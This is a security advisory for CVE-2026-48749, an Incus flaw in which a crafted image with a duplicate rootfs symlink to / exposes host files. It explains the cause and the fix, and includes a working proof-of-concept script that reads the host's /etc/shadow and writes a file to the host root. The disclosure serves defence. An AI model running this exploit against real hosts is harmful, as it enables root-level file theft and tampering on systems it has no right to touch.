CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image
A crafted container image can trick Incus into mapping its rootfs to any path on the host, letting an authenticated user read or overwrite arbitrary host files as root.
The problem
Incus validates an image once it sees a legitimate metadata.yaml and a rootfs/ directory entry. It does not check for a duplicate top-level rootfs entry appended later in the same tarball.
Because tar extraction processes entries in order, the duplicate rootfs -> / symlink overwrites the original directory on disk. The stopped-container file API then opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots into it. Since RootfsPath() now resolves to / on the host, every incus file pull or incus file push operation touches the real host filesystem with root privileges.
Proof of concept
A working proof-of-concept for CVE-2026-48749 in github.com/lxc/incus/v7/cmd/incusd, with the exact payload below.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() { rm -rf "${tmpdir}"; }
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat <<'__EOF__' > "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * > ../afrw-rootfs-symlink.tar
# inject rootfs symlink AFTER the directory entry
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read host /etc/shadow
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write a file to host /
printf 'afrw-rootfs-symlink\n' > "${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/The tar format allows multiple entries with the same name. Incus validated the image on first pass (seeing rootfs/ as a directory), but the full extraction honored the later rootfs -> / symlink, leaving the on-disk path as a host symlink.
The stopped-container file API calls d.RootfsPath(), opens that path as a file descriptor, and passes it to forkfile for a chroot. Because the symlink was never rejected, chroot lands on / of the host rather than the container's isolated filesystem (CWE-73: External Control of File Name or Path).
The patch added a check after full extraction to verify that the resolved rootfs path is a real directory, not a symlink, before the container is created or the file API is invoked.
The fix
Upgrade to Incus 7.2.0 or later. The fix rejects any image whose top-level rootfs entry resolves to a symlink after extraction, preventing the duplicate-entry trick entirely. LTS users should apply the backport available in the stable-6.0 branch.
Reported by 7asecurity.
Related research
- critical · 9.9CVE-2026-48753CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
- critical · 9.9CVE-2026-48752CVE-2026-48752: Incus Arbitrary Host File Read and Write via templates/ Symlink
- critical · 9.9CVE-2026-48769CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header
- critical · 9.9CVE-2026-48755CVE-2026-48755: Incus Argument Injection in Backup Compression Leading to Arbitrary File Write and RCE